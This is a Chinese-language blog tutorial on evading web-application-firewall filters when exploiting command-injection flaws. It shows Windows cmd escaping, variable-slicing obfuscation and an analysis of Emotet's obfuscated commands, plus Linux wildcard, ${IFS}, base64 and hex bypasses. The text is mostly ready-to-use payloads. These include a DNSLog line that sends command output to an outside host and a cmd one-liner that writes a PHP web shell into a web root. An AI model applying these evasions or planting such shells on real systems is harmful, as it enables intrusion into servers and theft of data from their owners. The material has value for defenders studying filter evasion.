绕过WAF运行命令执行漏洞的方法

margin

绕过WAF运行命令执行漏洞的方法 (qq.com)


​
这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿，@3h整理发布，感谢分享！

​

编辑

0x01 Windows（不区分大小写）
1.1 符号和命令的关系
如果命令执行的时候遇到拦截命令关键词的时候可以利用如下方法绕过：

"和^是CMD命令中最常见的转义字符，还有成对的括号并不会影响命令的执行。

这里有几个需要注意的地方：

• 
  

在命令中可以有无数个"，但是不能有两个连续的^在命令中如果"在^之前，则"的个数必须为偶数个在命令中如果"在^之后，并且带有参数，则命令中的"个数必须为偶数在命令的参数中，单个字符前后"的个数只能有一个或者两个如果成对的括号中间有"则"的个数也必须为偶数

• 1. 
     
  2. whoami    //正确执行
     
  3. WhOAmi    //正确执行
     
  4. Who"amI    //正确执行
     
  5. ((Who"amI))    //错误
     
  6. ((Who""amI))    //正确执行
     
  7. Who""""""""amI    //正确执行
     
  8. who"""a^mi    //错误
     
  9. who""""a^mi    //正确执行
     
  10. whoa^m""""i    //正确执行
      
  11. whoa^m"""i    //正确执行
      
  12. whoa^^mi    //错误
      
  13. n^e^t user    //正确执行
      
  14. n^e^t"" user    //正确执行
      
  15. n^e^t""" user    //错误
      
  16. n^e^t"" u"ser    //正确执行
      
  17. n^e^t"" u""ser    //正确执行
      
  18. n^e^t"" u"""ser    //错误
      
  19. n^e^t"" u""s"er    //正确执行
      
  20. n^e^t"" u""s""er    //正确执行
      
  21. n^e^t"" u""s"""er    //错误

  复制代码
  
         

​

编辑

​

编辑

​

编辑

​

编辑
1.2 了解set命令和Windows变量
在cmd中set用来进行变量赋值，而%%括起来的变量会引用其赋的值。

​

编辑
这样就可以进行命令执行了

1. 
   
2. set cmd=whoami    //赋值变量为whoami
   
3. %cmd%              //执行命令

复制代码

​

编辑
也可以赋值多个变量，拼接利用

1. 
   
2. set cmd1=who
   
3. set cmd2=am
   
4. set cmd3=i
   
5. %cmd1%%cmd2%%cmd3%

复制代码

​

编辑

       
• 1. 
     
  2. set cmd1=who
     
  3. set cmd3=i
     
  4. %cmd1%am%cmd3%

  复制代码
  
  

​

编辑
也可以与1.2的内容进行合并

       
• 1. 
     
  2. set cmd1=who
     
  3. set cmd3=i
     
  4. %cmd1%am%cmd3%

  复制代码
  
  

​

编辑
也可以在赋值的时候加入空格

       
• 1. 
     
  2. set cmd1=s""er
     
  3. set cmd2=t u
     
  4. set cmd3=n^e
     
  5. %cmd3%%cmd2%%cmd1%

  复制代码
  
  

​

编辑

       
• 
  

1. Cmd /C "set cmd1=s""er && set cmd2=t u && set cmd3=n^e && call %cmd3%%cmd2%%cmd1%"

复制代码

​

编辑
当使用cmd /V:ON或cmd /V:O时可以不使用call命令来扩展变量，使用 %var% 或 !var! 来扩展变量，!var!可以用来代替%var%

       
• 1. 
     
  2. cmd /V:ON /C "set cmd=net user && !cmd!"
     
  3. cmd /V:O /C "set cmd=net user && !cmd!"

  复制代码
  
  

​

编辑

​

编辑
1.3 Windows切割字符串
拿whoami举例，实践Windows切割字符串的语法

       
• 1. 
     
  2. set cmd=whoami
     
  3. 
     
  4. %cmd:~0% //取出a的值中的所有字符此时正常执行whoami
     
  5. %cmd:~0,1% //取出a的值，从第0个位置开始，取1个值此时因为w总共就1个字符
     
  6. %cmd:~0,6% //取出a的值，从第0个位置开始，取6个值此时因为whoami总共就6个字符

  复制代码
  
  

​

编辑
由此可以看出来截取字符串的语法为%变量名:~x,y%即从变量第x位开始，截取y个字符。

       
• 1. 
     
  2. C:\Users\a>set str=0123456789
     
  3. 
     
  4. C:\Users\a>echo %str:~-1%
     
  5. 9
     
  6. 从最后1位开始取整个字符串
     
  7. C:\Users\a>echo %str:~-6%
     
  8. 456789
     
  9. 从倒数第6位开始取整个字符串
     
  10. C:\Users\a>echo %str:~-9%
      
  11. 123456789
      
  12. 从倒数第9位开始取整个字符串
      
  13. C:\Users\a>echo %str:~-9,2%
      
  14. 12
      
  15. 从倒数第9位开始取2位
      
  16. C:\Users\a>echo %str:~-9,4%
      
  17. 1234
      
  18. 从倒数第9位开始取4位
      
  19. C:\Users\a>echo %str:~-9,-2%
      
  20. 1234567
      
  21. 从倒数第9位开始少取最后2位
      
  22. C:\Users\a>echo %str:~-9,-4%
      
  23. 12345
      
  24. 从倒数第9位开始少取最后4位

  复制代码
  
  

​

编辑
既然已经熟悉了如何切割字符，那么我们来看一下都有什么环境变量可以用

​

编辑
我们可以拼命令了

1. 
   
2. C:\Users\a>echo %COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi
   
3. Whoami
   
4. 
   
5. C:\Users\a>%COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi
   
6. win-tbucg5qo47j\a
   
7. 
   
8. C:\Users\a>d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%
   
9. 驱动器 C 中的卷没有标签。
   
10. 卷的序列号是 5CE5-9A63
    
11. 
    
12. C:\ 的目录
    
13. 
    
14. 2022/03/12  00:20    <DIR>          JspStudy
    
15. 2022/07/09  20:04    <DIR>          MailMasterData
    
16. 2009/07/14  11:20    <DIR>          PerfLogs

复制代码

​

编辑

​

编辑
我们还可以凑php一句话（这里为了方便所以自定义了一些字符）

       
• 
         
• 
  

C:\Users\a>set web=^<^>/@$_PHPOST[]?'e()valC:\Users\a>echo ^%web:~0,1%^%web:~-8,1%%web:~6,3% ^%web:~-6,1%^%web:~-3,3%^%web:~-5,1%%web:~4,2%%web:~8,5%^%web:~-7,1%%web:~-1,1%^%web:~-7,1%%web:~13,1%^%web:~-4,1% ^%web:~-8,1%^%web:~1,1% > C:\phpstudy_pro\WWW\b.php

​

编辑

​

编辑
因为拼接字符需要得到大量的位置，为了方便拼接可以使用for命令来讲所有位置设成一个列表，以此循环遍历列表，合并字符串，还能起到混淆的作用。
这里注意set不能以空格结尾否则，变量会将空格进行赋值

       
• 
  

cmd /V:ON /C " set kpx=vwchdoaadmei&& for %G in (1,3,5,7,9,11,26) do set lq=!lq!!kpx:~%G,1!&& if %G==26  !lq:~4!"

​

编辑
错误示范
下面的方法拼接出来的其实是w h o a m i 因为有空格后面的都视作参数没有显示

​

编辑
分析Emotet木马中的cmd命令Emotet一款著名的银行木马，首次出现于2014年年中。该木马主要通过垃圾邮件的方式传播感染目标用户，其不断变化传播花样，采用越来越复杂的混淆编码来躲避检测。
现在我们以Emotet木马为例，我们来试着分析一下经过混淆后的cmd内容

​

编辑
先将混淆cmd命令中的转义字符“^”全部去掉，再将除了变量@之外的逗号“,”、分号“;”、多余空格删除。注意保留变量@中的逗号和分号，否则影响输出结果。

​

编辑

下图为无意义的四个字符串，cmd会自动忽略。

​

编辑
可以看出这里利用了cmd的系统环境变量%comspec%，即是cmd.exe的执行路径，因此会执行cmd命令，这里才是命令的真正开头。因此程序开头可以进行化简。

​

编辑
去除无意义的字符串后可以化简为

       
• 
  

%comspec% /c for /f " delims=vf= tokens=2" %f in ( 'assoc .cmd' ) do %f /V /R
先利用%comspec% /c执行第一个for循环，再利用for循环的/f参数，在命令assoc .cmd结果.cmd=cmdfile中以字符v、f、=为分隔符，取第二列即是“cmd”。

​

编辑
因此这里用for循环生成的cmd又开启了新一个cmd程序来运行下面的字符串内的程序。

​

编辑
这里自定义了一个环境变量@，等于一个1460长度的字符串。然后利用for循环的/L参数，遍历变量@：for /L %s in (1459,-4,+3 ) do set \=!\!!@ :~ %s, 1!& if %s equ 3 call %\:~-365%，这个for循环自定义了环境变量"\"，还启用了延迟的环境变量扩展!，!@:~%s,1!表示循环变量%s从1459开始，步长为-4，到3结束，循环提取变量@中的字符，添加到\变量中。当%s到3的时候就会执行\中倒数365个字符组成的程序。

​

编辑

1.4 逻辑运算符在绕过中的作用| 在cmd中，可以连接命令，且只会执行后面的命令

       
• 1. 
     
  2. whoami | ping -n 1 www.baidu.com   //只执行ping
     
  3. ping -n 1 www.baidu.com | whoami   //只执行whoami

  复制代码
  
  

​

编辑
|| 只有在前面命令失败才执行后面

       
• 1. 
     
  2. ping 127.0.0.1 || whoami //不执行whoami
     
  3. ping xxx. || whoami //执行whoami

  复制代码
  
  

​

编辑
&无论前面的命令是否能执行成功都会执行后面的命令

       
• 1. 
     
  2. ping 127.0.0.1 & whoami //执行whoami
     
  3. ping xxx. & whoami //执行whoami

  复制代码
  
  

​

编辑
&&前面命令为真才会执行后面的命令。

       
• 1. 
     
  2. ping 127.0.0.1 && whoami //执行whoami
     
  3. ping xxx. && whoami //不执行whoami

  复制代码
  
  

​

编辑

0x02 Linux（区分大小写）
2.1 linux下的符号和逻辑运算符
linux中变量使用$来引用，;表示命令结束无论命令是否执行成功都会执行下一个命令，| || & &&，与Windows一样，这里就不做赘述。

利用上面的符号可以进行拼接的命令：

       
• 
  

t=l;j=s;i=" -al";$t$j$i

​

编辑
2.2 利用未被过滤的命令假设有命令执行漏洞的网站中过滤的一些命令，但是没有过滤一些命令，例如ping命令，则可以利用ping命令来执行命令带出信息。

       
• 
  

ping `whoami`.whjtmh.dnslog.cn
利用DNSLog就可以获得带出的信息（对于不回显的命令执行也可以利用这种方法）

​

编辑
2.3 linux符号之间的组合类似于Windows的"和^linux也有类似的使用方法，就是利用变量和参数

利用反斜杠绕过

       
• 
  

who\ami
利用括号括起来（当做命令执行）

       
• 
  

(whoa''mi)
利用反引号或$和括号结合（将括号内命令的结果当做命令执行）

       
• 1. 
     
  2. `(echo whoami)`
     
  3. $(echo whoami)

  复制代码
  
  

利用Shell特殊变量绕过

       
• 1. 
     
  2. who$*ami
     
  3. who$@ami
     
  4. who$1ami

  复制代码
  
  

利用通配符匹配唯一命令名称执行命令（使用命令的绝对路径）

1. 
   
2. /u?r/b?n/who?mi
   
3. /*/*/whoam?
   
4. /*/*i[n]/wh??mi

复制代码

综合组合

       
• 
  

/*/*""in/w'h'`dfds`??m$(sdf)i

2.4 linux切割字符串（linux区分大小写）在linux中切割字符串的语法是${NAME:start:length}
与Windows相同这里不在赘述，只要区分大小写就可以

2.5 绕过空格过滤在前端页面中可以利用%00,%0a,%0d等url编码来绕过空格的过滤，利用大括号来绕过空格限制

       
• 1. 
     
  2. {ls,-al}
     
  3. {ping,-c,2,127.0.0.1}

  复制代码
  
  

​

编辑
${IFS}绕过空格IFS是internal field separator的缩写，shell的特殊环境变量。shell根据IFS存储的值，可以是空格（040）、tab（011）、换行符（012）或者其他自定义符号，来解析输入和输出的变量值。这里echo -n是不进行自动换行

​

编辑

​

编辑

2.6 利用base64绕过命令限制

       
• 1. 
     
  2. echo whoami|base64 //先输出whoami的base64编码
     
  3. `echo dwhvYW1pCg==|base64 -d` //将其base64解码

  复制代码
  
  

​

编辑
2.7 hex编码绕过

       
• 1. 
     
  2. # cat flag.php -> 63617420666c61672e706870
     
  3. echo "63617420666c61672e706870"|xxd -r -p|bash
     
  4. #xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
     
  5. #-r参数：逆向转换。将16进制字符串表示转为实际的数
     
  6. #-ps参数：以 postscript的连续16进制转储输出，也叫做纯16进制转储。
     
  7. #-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
     
  8. 
     
  9. cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
     
  10. #经测试，发现在php的ping环境上执行失败。在linux系统上执行成功
      
  11. $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
      
  12. {printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash
      
  13. `{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`

  复制代码
  
  

​

编辑

2.8 长度限制绕过方法一：可以利用base64解码的方式将脚本写入多个文件合并后再执行

       
• 1. 
     
  2. echo "cat flag.txt" | base64   # 首先生成所需命令的base64字符串
     
  3. 
     
  4. # Y2F0IGZsYWcudHh0Cg==
     
  5. echo -n Y2F0IG > a
     
  6. echo -n ZsYWcu >b
     
  7. echo -n dHh0Cg== > c
     
  8. 
     
  9. 下面合并文件
     
  10. 
      
  11. cat b >> a
      
  12. cat c >> a
      
  13. 
      
  14. 解码文件
      
  15. 
      
  16. base64 -d a > shell.sh
      
  17. sh shell.sh

  复制代码
  
  

​

编辑

方法二：

       
• 1. 首先通过命令创建带有命令分隔的文件
     
  2. > "txt"
     
  3. > "ag.\"
     
  4. > "fl\"
     
  5. > "t \"
     
  6. > "ca\"
     
  7. 在用ls -t输出到一个文件中，再利用sh执行
     
  8. ls -t > shell2.sh
     
  9. #如果创建空文件时，创建了点.开头的文件，上边命令要添加-a选项将隐藏文件也写入qwzf，即
     
  10. ls -at > shell2.sh
      
  11. sh shell2.sh

  复制代码
  
  

​

编辑

参考：

       
• 1. 
     
  2. https://www.anquanke.com/post/id/208398
     
  3. https://update.venuseye.com.cn/reports/1548417941041/%E4%BB%A5Emotet%E4%B8%BA%E4%BE%8B%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90CMD%E5%91%BD%E4%BB%A4%E6%B7%B7%E6%B7%86%E6%8A%80%E6%9C%AF20181212.html
     
  4. https://blog.csdn.net/whuslei/article/details/7187639

  复制代码
  
  

​